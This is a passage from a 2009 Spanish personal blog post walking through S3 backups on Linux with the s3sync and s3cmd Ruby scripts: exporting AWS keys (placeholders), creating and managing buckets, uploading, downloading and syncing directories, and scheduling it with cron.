Connecting to s3.amazonaws.com|72.21.211.148|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 30,415 (30K) []
100%[====================================>] 30,415 --.--K/s
05:36:39 (7.24 MB/s) - `s3sync.tar.gz´ saved [30415/30415]
Y la descomprimimos.
[root@domU-12-31-39-02-68-05 /]# tar -xzvf s3sync.tar.gz s3sync s3sync/HTTPStreaming.rb s3sync/README.txt s3sync/README_s3cmd.txt s3sync/S3.rb s3sync/s3cmd.rb s3sync/s3config.rb s3sync/s3config.yml.example s3sync/S3encoder.rb s3sync/s3sync.rb s3sync/s3try.rb s3sync/S3_s3sync_mod.rb s3sync/thread_generator.rb Cuando nos registramos a Amazon recibimos una clave ID de acceso y una clave secreta que nos valdrá ahora para asociar nuestra cuenta con S3. Asignamos ambas claves al servicio de esta manera. (cambiad ´xxxx´ por vuestro ACCESS KEY ID e ´yyyy´ por vuestro SECRET ACCESS KEY) [root@domU-12-31-39-02-68-05 /]# AWS_ACCESS_KEY_ID=xxxx [root@domU-12-31-39-02-68-05 /]# export AWS_ACCESS_KEY_ID [root@domU-12-31-39-02-68-05 /]# AWS_SECRET_ACCESS_KEY=yyyy [root@domU-12-31-39-02-68-05 /]# export AWS_SECRET_ACCESS_KEY Hecho esto todo se reduce a partir de ahora a utilizar el script s3cmd.rb que tenemos dentro de la carpeta s3sync. Antes de nada comentar que la información dentro del S3 se ordena por buckets, que para entendernos se asemejan a las unidades de disco. Es decir, dentro de nuestra cuenta S3 crearemos tantas unidades de disco o buckets como necesitemos, y ahà subiremos nuestros archivos. Por lo tanto el primer paso será crear los buckets, o al menos uno para empezar a hacer las primeras pruebas. Una vez creado podremos eliminarlos, listarlos, subirles archivos, etc. A continuación una chuleta de los comandos básicos. Crear un bucket: ./s3cmd.rb createbucket mi_unidad Eliminar un bucket: ./s3cmd.rb deletebucket mi_unidad Listar buckets: ./s3cmd.rb listbuckets Subir un archivo a un bucket: ./s3cmd.rb put mi_unidad:backup.txt example.txt El comando anterior copiarÃa el archivo local ´example.txt´ al bucket ´mi_unidad´, donde pasarÃa a llamarse ´backup.txt´. Por defecto los archivos que subimos no son accesibles desde un navegador o aplicación que pueda leer URLs, pero podemos hacerlo por medio del siguiente comando: ./s3cmd.rb put mi_unidad:backup.txt example.txt x-amz-acl:public-read Podemos verificarlo entrando en un navegador e indicando el bucket y el archivo al que queremos acceder: http://mi_unidad.s3.amazonaws.com/backup.txt Sigamos con los comandos... Eliminar un archivo del bucket: ./s3cmd.rb delete mi_unidad:backup.txt Eliminar todo el contenido de un bucket: ./s3cmd.rb deleteall mi_unidad Descargar un archivo del bucket si este es público: wget http://mi_unidad.s3.amazonaws.com/backup.txt Descargar un archivo del bucket si este es privado: ./s3cmd.rb get mi_unidad:backup.txt example.txt Para cuando se trata de mover varios archivos, directorios o combinaciones de ambos usamos el script s3sync que también viene incluido. Veamos algunos comandos: Copiar un directorio local completo al bucket: ./s3sync.rb -r /root/archivos/ mi_unidad:/ CopiarÃa el contenido del directorio /root/archivos/ en la raiz del bucket. Copiar un directorio completo del bucket a local: ./s3sync.rb -r mi_unidad: /root/archivos/ RealizarÃa la operación inversa.
A partir de aquà tan solo necesitamos crear un pequeño script que incluya los comandos necesarios para copiar directorios al bucket, incluirlo en el cron de nuestro equipo y habremos terminado nuestro sistema de backups en S3. 05-04-2009 | Linux | Feed RSS¿Esto qué es?Un intento de blog. Tengo esa mala costumbre de hacérmelo todo y me he resistido a la tentación de usar blogspot o Wordpress terminando por programarme mi propio blog. Soy asÃ... luego me pasa lo que me pasa. ¿Y por donde paras? |